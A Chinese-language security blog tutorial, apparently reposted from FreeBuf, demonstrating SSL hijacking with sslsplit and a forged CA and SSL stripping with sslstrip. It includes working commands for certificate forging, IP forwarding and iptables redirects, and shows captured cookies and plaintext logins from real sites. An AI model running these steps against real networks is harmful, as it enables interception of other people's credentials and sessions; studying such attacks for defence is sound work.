MITM——SSL篇 – 作者:rabbitmask

本文主要介绍两种SSL中间人利用:SSL劫持与SSL降级攻击,对应使用sslsplit和sslstrip开始我们的中间人实战,那么、开始~

SSL劫持

image.png

SSL中间人劫持即攻击者首先通过ARP欺骗、DNS劫持甚至网关劫持等等,将客户端的访问重定向到攻击者的机器,让客户端机器与攻击者机器建立HTTPS连接(使用伪造证书),而攻击者机器再跟服务端连接。

这种情况由于证书是伪造的,所以证书认证会失败,浏览器会提示,如果不点继续是不会被劫持的,而一般用户由于安全意识比较淡薄,都会心甘情愿的上钩。

sslsplit 实战SSL劫持

首先,既然是中间人攻击自然要建立在中间人的基础之上,无论是SSL劫持还是SSL降级都是如此,开始ARP投毒:

image.png

伪造证书:利用openssl生成证书私钥,并生成根证书:

openssl genrsa -out ca.key 1024
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
echo 1 > /proc/sys/net/ipv4/ip_forward 
iptables -t nat -F  //清除类型为nat的iptables
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -L  //查看iptables列表是否生效

当然你也可以自定添加其它协议

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

image.png

mkdir /tmp/sslsplit
sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

我们可以捕获到大量的ssl加密会话:

image.png

如QQ群的文件列表访问:

image.png

遍历日志发现,其中不乏良好的明文信息,cookie中居多,但也存在不少乱码,毕竟这是由ssl加密前数据本身收否加密决定的。另外在实际使用中,用户访问会提示不安全的链接,无论是受害者体验还是攻击者体验都很差,我觉得我不会有使用ssl劫持的欲望了,但、接下来的ssl降级体验甚佳。

SSL降级

image.png

该攻击方式主要是利用用户并不会每次都直接在浏览器上输入https://xxx.xxx.com来访问网站,或者有些网站并非全网HTTPS,而是只在需要进行敏感数据传输时才使用HTTPS的漏洞。

假如客户端直接访问HTTPS的URL,攻击者是没办法直接进行降级的,因为HTTPS与HTTP虽然都是TCP连接,但HTTPS在传输HTTP数据之前,需要在进行了SSL握手,并协商传输密钥用来后续的加密传输;假如客户端与攻击者进行SSL握手,而攻击者无法提供可信任的证书来让客户端验证通过进行连接,所以客户端的系统会判断为SSL握手失败,断开连接。

中间人攻击者在劫持了客户端与服务端的HTTP会话后,将HTTP页面里面所有的 https:// 超链接都换成 http:// ,用户在点击相应的链接时,是使用HTTP协议来进行访问;这样,就算服务器对相应的URL只支持HTTPS链接,但中间人一样可以和服务建立HTTPS连接之后,将数据使用HTTP协议转发给客户端,实现会话劫持。

由于使用HTTP,不会让浏览器出现HTTPS证书不可信的警告,而且用户很少会去看浏览器上的URL是 https://还是 http:// 。特别是App的WebView中,应用一般会把URL隐藏掉,用户根本无法直接查看到URL出现异常。

sslstrip 实战SSL降级

开启并进行端口转发并开启ssl剥离:

echo 1 > /proc/sys/net/ipv4/ip_forward 
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 6666
sslstrip -l 6666
iptalbes -t nat -F  //清除类型为nat的iptables
iptables -t nat -L  //查看iptables列表是否生效

image.png

选择一个安全行业的权威站点作为举例,我们先来一次正常操作作为对比,关闭ssl剥离:

image.png

查看freebuf功能登录,<a>标签默认href的链接的确是http的,但当我们点击时,弹出的页面如下:

image.png

这个大家单击即可复现,然后这时候我们尝试登录并查看下ettercap,发现并未捕获到任何数据,当看到地址栏中的https时,大家也猜到原因了,数据被ssl加密了。

接下来我们来尝试下freebuf的ssl剥离,原理其实刚刚已经提过了,就是将https偷偷换成http,开启sslstrip,同样单击登录按钮,弹出如下:

image.png

成功捕获到被剥离ssl的http数据,且为明文:

image.png

总的来说,相对于ssl劫持浏览器提示证书不信任,ssl降级带来的用户端提示更隐蔽一些,但同时也取决于目标站点是否兼容HTTP请求,具体选择大家根据需求决定。

关注我们

Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:

ewm.png

来源:freebuf.com 2019-06-17 10:15:47 by: rabbitmask

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论